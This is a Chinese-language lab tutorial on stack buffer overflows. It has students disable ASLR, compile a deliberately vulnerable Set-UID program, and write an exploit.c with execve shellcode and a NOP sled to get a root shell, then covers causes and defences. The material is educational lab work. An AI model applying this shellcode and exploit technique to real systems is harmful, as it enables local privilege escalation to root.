实验七—缓冲区溢出
实验七—缓冲区溢出
一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
二、实验准备
系统用户名 shiyanlou
实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。
输入命令安装一些用于编译 32 位 C 程序的软件包：
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
三、实验步骤
3.1 初始设置
1、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=0
2、此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。
linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
copy
3、输入命令 linux32 进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入 /bin/bash 使用bash：
3.2 shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
观察以下代码：
include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
copy
本次实验的 shellcode，就是刚才代码的汇编版本：
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3 漏洞程序
在 /tmp 目录下新建一个 stack.c 文件：
cd /tmp
vim stack.c
copy
按 i 键切换到插入模式，再输入如下内容：
复制代码如果出现缩进混乱可先在 Vim 执行 :set paste 再按 i 键编辑。
/* stack.c */
/* This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability */
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
copy
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置 SET-UID。命令如下：
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
3.4 攻击程序
我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。
在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：
/* exploit.c /
/ A program that creates a file containing code for launching shell*/
include <stdlib.h>
include <stdio.h>
include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
copy
或者也可以直接下载代码：
wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
copy
注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：
gdb stack
disass main
copy
结果如图：
esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。
地址可能不一致，请根据你的显示结果自行修改。
接下来的操作：
设置断点
b *0x080484ee
r
i r $esp
最后获得的这个 0xffffcfb0 就是 str 的地址。
按 q 键，再按 y 键可退出调试。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014
实际操作中你的地址和我这里的地址可能不一样，需要根据你实际输出的结果来计算。
可以使用 十六进制加法计算器 计算。
现在修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff，注意顺序是反的。
然后，编译 exploit.c 程序：
gcc -m32 -o exploit exploit.c
3.5 攻击结果
先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：
whoami 是输入的命令，不是输出结果。
可见，通过攻击，获得了root 权限！
如果不能攻击成功，提示”段错误“，那么请重新使用 gdb 反汇编，计算内存地址。
缓冲区溢出的原理
程序员通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它指令，以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序：
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16，就会造成buffer的溢出，使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat()，sprintf()，vsprintf()，gets()，scanf()等。
当然，随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”（Segmentation fault），而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell，再通过shell执行其它命令。如果该程序属于root且有suid(Set User ID,)权限的话，攻击者就获得了一个有root权限的shell，可以对系统进行任意操作了。
缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了，并且易于实现。而且，缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切：植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序，从而得到被攻击主机的控制权。
在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中，有2种是缓冲区溢出。而在1998年CERT的13份建议中，有9份是是与缓冲区溢出有关的，在1999年，至少有半数的建议是和缓冲区溢出有关的。在Bugtraq的调查中，有2/3的被调查者认为缓冲区溢出漏洞是一个很严重的安全问题。
缓冲区溢出的防范
缓冲区溢出攻击的防范是和整个系统的安全性分不开的。如果整个网络系统的安全设计很差，则遭受缓冲区溢出攻击的机会也大大增加。针对缓冲区溢出，可以采取多种防范策略。
(1)系统管理上的防范策略
一要关闭不需要的特权程序。
二要及时给程序漏洞打补丁。
(2)软件开发过程中的防范策略
发生缓冲区溢出的主要及各要素是：数组没有边界检查而导致的缓冲区溢出；函数返回地址或函数指针被改变，使程序流程的改变成为可能；植入代码被成功的执行等等。所以针对这些要素，从技术上可以采取一定的措施。
1）强制写正确的代码的方法。
只要在所有拷贝数据的地方进行数据长度和有效性的检查，确保目标缓冲旦中数据不越界并有效，则就可以避免缓冲区溢出，更不可能使程序跳转到恶意代码上。
2）通过操作系统使得缓冲区不可执行，从而阻止攻击者殖入攻击代码。
通过使被攻击程序的数据段地址空间不可执行，从商使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码，这种技术被称为缓冲区不可执行技术。
3）改进C语言函数库。
C语言中存在缓冲区溢出攻击隐患的系统匾数有很多。例如gets()，sprintf()，strcpy()，strcat()，fscanf()，scanf()，vsprintf()等。可以开发出更安全的封装了若干己知易受堆栈溢出攻击的岸函数。
4）使堆栈向高地址方向增长。
使用的机器堆栈压入数据时向高地址方向前进，那么无论缓冲区如何溢出，都不可能覆盖低地址处的函数返回地址指针，也就避免了缓冲区溢出攻击。但是这种方法仍然无法防范利用堆和静态数据段的缓冲区进行溢出的攻击。
5）在程序指针失效前进行完整性检查。
原理是在每次在程序指针被引用之前先检测该指针是否己被恶意改动过，如果发现被改动，程序就拒绝执行。
6）利用编译器将静态数据段中的函数地址指针存放地址和其他数据的存放地址分离。
